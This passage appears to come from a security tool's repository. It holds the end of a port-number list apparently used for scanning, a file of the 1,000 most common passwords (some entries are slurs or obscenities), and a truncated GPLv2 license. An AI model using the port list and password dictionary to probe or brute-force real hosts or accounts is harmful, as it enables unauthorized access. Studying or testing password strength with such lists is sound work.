'5222', '5225', '5226', '5269', '5280', 109 | '5298', '5357', '5405', '5414', '5431', '5432', '5440', '5500', '5510', '5544', '5550', '5555', '5560', '5566', 110 | '5631', '5633', '5666', '5678', '5679', '5718', '5730', '5800', '5801', '5802', '5810', '5811', '5815', '5822', 111 | '5825', '5850', '5859', '5862', '5877', '5900', '5901', '5902', '5903', '5904', '5906', '5907', '5910', '5911', 112 | '5915', '5922', '5925', '5950', '5952', '5959', '5960', '5961', '5962', '5963', '5987', '5988', '5989', '5998', 113 | '5999', '6000', '6001', '6002', '6003', '6004', '6005', '6006', '6007', '6009', '6025', '6059', '6100', '6101', 114 | '6106', '6112', '6123', '6129', '6156', '6346', '6389', '6502', '6510', '6543', '6547', '6565', '6566', '6567', 115 | '6580', '6646', '6666', '6667', '6668', '6669', '6689', '6692', '6699', '6779', '6788', '6789', '6792', '6839', 116 | '6881', '6901', '6969', '7000', '7001', '7002', '7004', '7007', '7019', '7025', '7070', '7100', '7103', '7106', 117 | '7200', '7201', '7402', '7435', '7443', '7496', '7512', '7625', '7627', '7676', '7741', '7777', '7778', '7800', 118 | '7911', '7920', '7921', '7937', '7938', '7999', '8000', '8001', '8002', '8007', '8008', '8009', '8010', '8011', 119 | '8021', '8022', '8031', '8042', '8045', '8080', '8081', '8082', '8083', '8084', '8085', '8086', '8087', '8088', 120 | '8089', '8090', '8093', '8099', '8100', '8180', '8181', '8192', '8193', '8194', '8200', '8222', '8254', '8290', 121 | '8291', '8292', '8300', '8333', '8383', '8400', '8402', '8443', '8500', '8600', '8649', '8651', '8652', '8654', 122 | '8701', '8800', '8873', '8888', '8899', '8994', '9000', '9001', '9002', '9003', '9009', '9010', '9011', '9040', 123 | '9050', '9071', '9080', '9081', '9090', '9091', '9099', '9100', '9101', '9102', '9103', '9110', '9111', '9200', 124 | '9207', '9220', '9290', '9415', '9418', '9485', '9500', '9502', '9503', '9535', '9575', '9593', '9594', '9595', 125 | '9618', '9666', '9876', '9877', '9878', '9898', '9900', '9917', '9929', '9943', '9944', '9968', '9998', '9999', 126 | '10000', '10001', '10002', '10003', '10004', '10009', '10010', '10012', '10024', '10025', '10082', '10180', 127 | '10215', '10243', '10566', '10616', '10617', '10621', '10626', '10628', '10629', '10778', '11110', '11111', 128 | '11967', '12000', '12174', '12265', '12345', '13456', '13722', '13782', '13783', '14000', '14238', '14441', 129 | '14442', '15000', '15002', '15003', '15004', '15660', '15742', '16000', '16001', '16012', '16016', '16018', 130 | '16080', '16113', '16992', '16993', '17877', '17988', '18040', '18101', '18988', '19101', '19283', '19315', 131 | '19350', '19780', '19801', '19842', '20000', '20005', '20031', '20221', '20222', '20828', '21571', '22939', 132 | '23502', '24444', '24800', '25734', '25735', '26214', '27000', '27352', '27353', '27355', '27356', '27715', 133 | '28201', '30000', '30718', '30951', '31038', '31337', '32768', '32769', '32770', '32771', '32772', '32773', 134 | '32774', '32775', '32776', '32777', '32778', '32779', '32780', '32781', '32782', '32783', '32784', '32785', 135 | '33354', '33899', '34571', '34572', '34573', '35500', '38292', '40193', '40911', '41511', '42510', '44176', 136 | '44442', '44443', '44501', '45100', '48080', '49152', '49153', '49154', '49155', '49156', '49157', '49158', 137 | '49159', '49160', '49161', '49163', '49165', '49167', '49175', '49176', '49400', '49999', '50000', '50001', 138 | '50002', '50003', '50006', '50300', '50389', '50500', '50636', '50800', '51103', '51493', '52673', '52822', 139 | '52848', '52869', '54045', '54328', '55055', '55056', '55555', '55600', '56737', '56738', '57294', '57797', 140 | '58080', '60020', '60443', '61532', '61900', '62078', '63331', '64623', '64680', '65000', '65129', '65389'] 141 | -------------------------------------------------------------------------------- /data/pass1000.txt: -------------------------------------------------------------------------------- 1 | password 2 | 123456 3 | 12345678 4 | 1234 5 | qwerty 6 | 12345 7 | dragon 8 | pussy 9 | baseball 10 | football 11 | letmein 12 | monkey 13 | 696969 14 | abc123 15 | mustang 16 | michael 17 | shadow 18 | master 19 | jennifer 20 | 111111 21 | 2000 22 | jordan 23 | superman 24 | harley 25 | 1234567 26 | fuckme 27 | hunter 28 | fuckyou 29 | trustno1 30 | ranger 31 | buster 32 | thomas 33 | tigger 34 | robert 35 | soccer 36 | fuck 37 | batman 38 | test 39 | pass 40 | killer 41 | hockey 42 | george 43 | charlie 44 | andrew 45 | michelle 46 | love 47 | sunshine 48 | jessica 49 | asshole 50 | 6969 51 | pepper 52 | daniel 53 | access 54 | 123456789 55 | 654321 56 | joshua 57 | maggie 58 | starwars 59 | silver 60 | william 61 | dallas 62 | yankees 63 | 123123 64 | ashley 65 | 666666 66 | hello 67 | amanda 68 | orange 69 | biteme 70 | freedom 71 | computer 72 | sexy 73 | thunder 74 | nicole 75 | ginger 76 | heather 77 | hammer 78 | summer 79 | corvette 80 | taylor 81 | fucker 82 | austin 83 | 1111 84 | merlin 85 | matthew 86 | 121212 87 | golfer 88 | cheese 89 | princess 90 | martin 91 | chelsea 92 | patrick 93 | richard 94 | diamond 95 | yellow 96 | bigdog 97 | secret 98 | asdfgh 99 | sparky 100 | cowboy 101 | camaro 102 | anthony 103 | matrix 104 | falcon 105 | iloveyou 106 | bailey 107 | guitar 108 | jackson 109 | purple 110 | scooter 111 | phoenix 112 | aaaaaa 113 | morgan 114 | tigers 115 | porsche 116 | mickey 117 | maverick 118 | cookie 119 | nascar 120 | peanut 121 | justin 122 | 131313 123 | money 124 | horny 125 | samantha 126 | panties 127 | steelers 128 | joseph 129 | snoopy 130 | boomer 131 | whatever 132 | iceman 133 | smokey 134 | gateway 135 | dakota 136 | cowboys 137 | eagles 138 | chicken 139 | dick 140 | black 141 | zxcvbn 142 | please 143 | andrea 144 | ferrari 145 | knight 146 | hardcore 147 | melissa 148 | compaq 149 | coffee 150 | booboo 151 | bitch 152 | johnny 153 | bulldog 154 | xxxxxx 155 | welcome 156 | james 157 | player 158 | ncc1701 159 | wizard 160 | scooby 161 | charles 162 | junior 163 | internet 164 | bigdick 165 | mike 166 | brandy 167 | tennis 168 | blowjob 169 | banana 170 | monster 171 | spider 172 | lakers 173 | miller 174 | rabbit 175 | enter 176 | mercedes 177 | brandon 178 | steven 179 | fender 180 | john 181 | yamaha 182 | diablo 183 | chris 184 | boston 185 | tiger 186 | marine 187 | chicago 188 | rangers 189 | gandalf 190 | winter 191 | bigtits 192 | barney 193 | edward 194 | raiders 195 | porn 196 | badboy 197 | blowme 198 | spanky 199 | bigdaddy 200 | johnson 201 | chester 202 | london 203 | midnight 204 | blue 205 | fishing 206 | 000000 207 | hannah 208 | slayer 209 | 11111111 210 | rachel 211 | sexsex 212 | redsox 213 | thx1138 214 | asdf 215 | marlboro 216 | panther 217 | zxcvbnm 218 | arsenal 219 | oliver 220 | qazwsx 221 | mother 222 | victoria 223 | 7777777 224 | jasper 225 | angel 226 | david 227 | winner 228 | crystal 229 | golden 230 | butthead 231 | viking 232 | jack 233 | iwantu 234 | shannon 235 | murphy 236 | angels 237 | prince 238 | cameron 239 | girls 240 | madison 241 | wilson 242 | carlos 243 | hooters 244 | willie 245 | startrek 246 | captain 247 | maddog 248 | jasmine 249 | butter 250 | booger 251 | angela 252 | golf 253 | lauren 254 | rocket 255 | tiffany 256 | theman 257 | dennis 258 | liverpoo 259 | flower 260 | forever 261 | green 262 | jackie 263 | muffin 264 | turtle 265 | sophie 266 | danielle 267 | redskins 268 | toyota 269 | jason 270 | sierra 271 | winston 272 | debbie 273 | giants 274 | packers 275 | newyork 276 | jeremy 277 | casper 278 | bubba 279 | 112233 280 | sandra 281 | lovers 282 | mountain 283 | united 284 | cooper 285 | driver 286 | tucker 287 | helpme 288 | fucking 289 | pookie 290 | lucky 291 | maxwell 292 | 8675309 293 | bear 294 | suckit 295 | gators 296 | 5150 297 | 222222 298 | shithead 299 | fuckoff 300 | jaguar 301 | monica 302 | fred 303 | happy 304 | hotdog 305 | tits 306 | gemini 307 | lover 308 | xxxxxxxx 309 | 777777 310 | canada 311 | nathan 312 | victor 313 | florida 314 | 88888888 315 | nicholas 316 | rosebud 317 | metallic 318 | doctor 319 | trouble 320 | success 321 | stupid 322 | tomcat 323 | warrior 324 | peaches 325 | apples 326 | fish 327 | qwertyui 328 | magic 329 | buddy 330 | dolphins 331 | rainbow 332 | gunner 333 | 987654 334 | freddy 335 | alexis 336 | braves 337 | cock 338 | 2112 339 | 1212 340 | cocacola 341 | xavier 342 | dolphin 343 | testing 344 | bond007 345 | member 346 | calvin 347 | voodoo 348 | 7777 349 | samson 350 | alex 351 | apollo 352 | fire 353 | tester 354 | walter 355 | beavis 356 | voyager 357 | peter 358 | porno 359 | bonnie 360 | rush2112 361 | beer 362 | apple 363 | scorpio 364 | jonathan 365 | skippy 366 | sydney 367 | scott 368 | red123 369 | power 370 | gordon 371 | travis 372 | beaver 373 | star 374 | jackass 375 | flyers 376 | boobs 377 | 232323 378 | zzzzzz 379 | steve 380 | rebecca 381 | scorpion 382 | doggie 383 | legend 384 | ou812 385 | yankee 386 | blazer 387 | bill 388 | runner 389 | birdie 390 | bitches 391 | 555555 392 | parker 393 | topgun 394 | asdfasdf 395 | heaven 396 | viper 397 | animal 398 | 2222 399 | bigboy 400 | 4444 401 | arthur 402 | baby 403 | private 404 | godzilla 405 | donald 406 | williams 407 | lifehack 408 | phantom 409 | dave 410 | rock 411 | august 412 | sammy 413 | cool 414 | brian 415 | platinum 416 | jake 417 | bronco 418 | paul 419 | mark 420 | frank 421 | heka6w2 422 | copper 423 | billy 424 | cumshot 425 | garfield 426 | willow 427 | cunt 428 | little 429 | carter 430 | slut 431 | albert 432 | 69696969 433 | kitten 434 | super 435 | jordan23 436 | eagle1 437 | shelby 438 | america 439 | 11111 440 | jessie 441 | house 442 | free 443 | 123321 444 | chevy 445 | bullshit 446 | white 447 | broncos 448 | horney 449 | surfer 450 | nissan 451 | 999999 452 | saturn 453 | airborne 454 | elephant 455 | marvin 456 | shit 457 | action 458 | adidas 459 | qwert 460 | kevin 461 | 1313 462 | explorer 463 | walker 464 | police 465 | christin 466 | december 467 | benjamin 468 | wolf 469 | sweet 470 | therock 471 | king 472 | online 473 | dickhead 474 | brooklyn 475 | teresa 476 | cricket 477 | sharon 478 | dexter 479 | racing 480 | penis 481 | gregory 482 | 0000 483 | teens 484 | redwings 485 | dreams 486 | michigan 487 | hentai 488 | magnum 489 | 87654321 490 | nothing 491 | donkey 492 | trinity 493 | digital 494 | 333333 495 | stella 496 | cartman 497 | guinness 498 | 123abc 499 | speedy 500 | buffalo 501 | kitty 502 | pimpin 503 | eagle 504 | einstein 505 | kelly 506 | nelson 507 | nirvana 508 | vampire 509 | xxxx 510 | playboy 511 | louise 512 | pumpkin 513 | snowball 514 | test123 515 | girl 516 | sucker 517 | mexico 518 | beatles 519 | fantasy 520 | ford 521 | gibson 522 | celtic 523 | marcus 524 | cherry 525 | cassie 526 | 888888 527 | natasha 528 | sniper 529 | chance 530 | genesis 531 | hotrod 532 | reddog 533 | alexande 534 | college 535 | jester 536 | passw0rd 537 | bigcock 538 | smith 539 | lasvegas 540 | carmen 541 | slipknot 542 | 3333 543 | death 544 | kimberly 545 | 1q2w3e 546 | eclipse 547 | 1q2w3e4r 548 | stanley 549 | samuel 550 | drummer 551 | homer 552 | montana 553 | music 554 | aaaa 555 | spencer 556 | jimmy 557 | carolina 558 | colorado 559 | creative 560 | hello1 561 | rocky 562 | goober 563 | friday 564 | bollocks 565 | scotty 566 | abcdef 567 | bubbles 568 | hawaii 569 | fluffy 570 | mine 571 | stephen 572 | horses 573 | thumper 574 | 5555 575 | pussies 576 | darkness 577 | asdfghjk 578 | pamela 579 | boobies 580 | buddha 581 | vanessa 582 | sandman 583 | naughty 584 | douglas 585 | honda 586 | matt 587 | azerty 588 | 6666 589 | shorty 590 | money1 591 | beach 592 | loveme 593 | 4321 594 | simple 595 | poohbear 596 | 444444 597 | badass 598 | destiny 599 | sarah 600 | denise 601 | vikings 602 | lizard 603 | melanie 604 | assman 605 | sabrina 606 | nintendo 607 | water 608 | good 609 | howard 610 | time 611 | 123qwe 612 | november 613 | xxxxx 614 | october 615 | leather 616 | bastard 617 | young 618 | 101010 619 | extreme 620 | hard 621 | password1 622 | vincent 623 | pussy1 624 | lacrosse 625 | hotmail 626 | spooky 627 | amateur 628 | alaska 629 | badger 630 | paradise 631 | maryjane 632 | poop 633 | crazy 634 | mozart 635 | video 636 | russell 637 | vagina 638 | spitfire 639 | anderson 640 | norman 641 | eric 642 | cherokee 643 | cougar 644 | barbara 645 | long 646 | 420420 647 | family 648 | horse 649 | enigma 650 | allison 651 | raider 652 | brazil 653 | blonde 654 | jones 655 | 55555 656 | dude 657 | drowssap 658 | jeff 659 | school 660 | marshall 661 | lovely 662 | 1qaz2wsx 663 | jeffrey 664 | caroline 665 | franklin 666 | booty 667 | molly 668 | snickers 669 | leslie 670 | nipples 671 | courtney 672 | diesel 673 | rocks 674 | eminem 675 | westside 676 | suzuki 677 | daddy 678 | passion 679 | hummer 680 | ladies 681 | zachary 682 | frankie 683 | elvis 684 | reggie 685 | alpha 686 | suckme 687 | simpson 688 | patricia 689 | 147147 690 | pirate 691 | tommy 692 | semperfi 693 | jupiter 694 | redrum 695 | freeuser 696 | wanker 697 | stinky 698 | ducati 699 | paris 700 | natalie 701 | babygirl 702 | bishop 703 | windows 704 | spirit 705 | pantera 706 | monday 707 | patches 708 | brutus 709 | houston 710 | smooth 711 | penguin 712 | marley 713 | forest 714 | cream 715 | 212121 716 | flash 717 | maximus 718 | nipple 719 | bobby 720 | bradley 721 | vision 722 | pokemon 723 | champion 724 | fireman 725 | indian 726 | softball 727 | picard 728 | system 729 | clinton 730 | cobra 731 | enjoy 732 | lucky1 733 | claire 734 | claudia 735 | boogie 736 | timothy 737 | marines 738 | security 739 | dirty 740 | admin 741 | wildcats 742 | pimp 743 | dancer 744 | hardon 745 | veronica 746 | fucked 747 | abcd1234 748 | abcdefg 749 | ironman 750 | wolverin 751 | remember 752 | great 753 | freepass 754 | bigred 755 | squirt 756 | justice 757 | francis 758 | hobbes 759 | kermit 760 | pearljam 761 | mercury 762 | domino 763 | 9999 764 | denver 765 | brooke 766 | rascal 767 | hitman 768 | mistress 769 | simon 770 | tony 771 | bbbbbb 772 | friend 773 | peekaboo 774 | naked 775 | budlight 776 | electric 777 | sluts 778 | stargate 779 | saints 780 | bondage 781 | brittany 782 | bigman 783 | zombie 784 | swimming 785 | duke 786 | qwerty1 787 | babes 788 | scotland 789 | disney 790 | rooster 791 | brenda 792 | mookie 793 | swordfis 794 | candy 795 | duncan 796 | olivia 797 | hunting 798 | blink182 799 | alicia 800 | 8888 801 | samsung 802 | bubba1 803 | whore 804 | virginia 805 | general 806 | passport 807 | aaaaaaaa 808 | erotic 809 | liberty 810 | arizona 811 | jesus 812 | abcd 813 | newport 814 | skipper 815 | rolltide 816 | balls 817 | happy1 818 | galore 819 | christ 820 | weasel 821 | 242424 822 | wombat 823 | digger 824 | classic 825 | bulldogs 826 | poopoo 827 | accord 828 | popcorn 829 | turkey 830 | jenny 831 | amber 832 | bunny 833 | mouse 834 | 007007 835 | titanic 836 | liverpool 837 | dreamer 838 | everton 839 | friends 840 | chevelle 841 | carrie 842 | gabriel 843 | psycho 844 | nemesis 845 | burton 846 | pontiac 847 | connor 848 | eatme 849 | lickme 850 | roland 851 | cumming 852 | mitchell 853 | ireland 854 | lincoln 855 | arnold 856 | spiderma 857 | patriots 858 | goblue 859 | devils 860 | eugene 861 | empire 862 | asdfg 863 | cardinal 864 | brown 865 | shaggy 866 | froggy 867 | qwer 868 | kawasaki 869 | kodiak 870 | people 871 | phpbb 872 | light 873 | 54321 874 | kramer 875 | chopper 876 | hooker 877 | honey 878 | whynot 879 | lesbian 880 | lisa 881 | baxter 882 | adam 883 | snake 884 | teen 885 | ncc1701d 886 | qqqqqq 887 | airplane 888 | britney 889 | avalon 890 | sandy 891 | sugar 892 | sublime 893 | stewart 894 | wildcat 895 | raven 896 | scarface 897 | elizabet 898 | 123654 899 | trucks 900 | wolfpack 901 | pervert 902 | lawrence 903 | raymond 904 | redhead 905 | american 906 | alyssa 907 | bambam 908 | movie 909 | woody 910 | shaved 911 | snowman 912 | tiger1 913 | chicks 914 | raptor 915 | 1969 916 | stingray 917 | shooter 918 | france 919 | stars 920 | madmax 921 | kristen 922 | sports 923 | jerry 924 | 789456 925 | garcia 926 | simpsons 927 | lights 928 | ryan 929 | looking 930 | chronic 931 | alison 932 | hahaha 933 | packard 934 | hendrix 935 | perfect 936 | service 937 | spring 938 | srinivas 939 | spike 940 | katie 941 | 252525 942 | oscar 943 | brother 944 | bigmac 945 | suck 946 | single 947 | cannon 948 | georgia 949 | popeye 950 | tattoo 951 | texas 952 | party 953 | bullet 954 | taurus 955 | sailor 956 | wolves 957 | panthers 958 | japan 959 | strike 960 | flowers 961 | pussycat 962 | chris1 963 | loverboy 964 | berlin 965 | sticky 966 | marina 967 | tarheels 968 | fisher 969 | russia 970 | connie 971 | wolfgang 972 | testtest 973 | mature 974 | bass 975 | catch22 976 | juice 977 | michael1 978 | nigger 979 | 159753 980 | women 981 | alpha1 982 | trooper 983 | hawkeye 984 | head 985 | freaky 986 | dodgers 987 | pakistan 988 | machine 989 | pyramid 990 | vegeta 991 | katana 992 | moose 993 | tinker 994 | coyote 995 | infinity 996 | inside 997 | pepsi 998 | letmein1 999 | bang 1000 | control -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | {description} 294 | Copyright (C) {year} {fullname} 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how 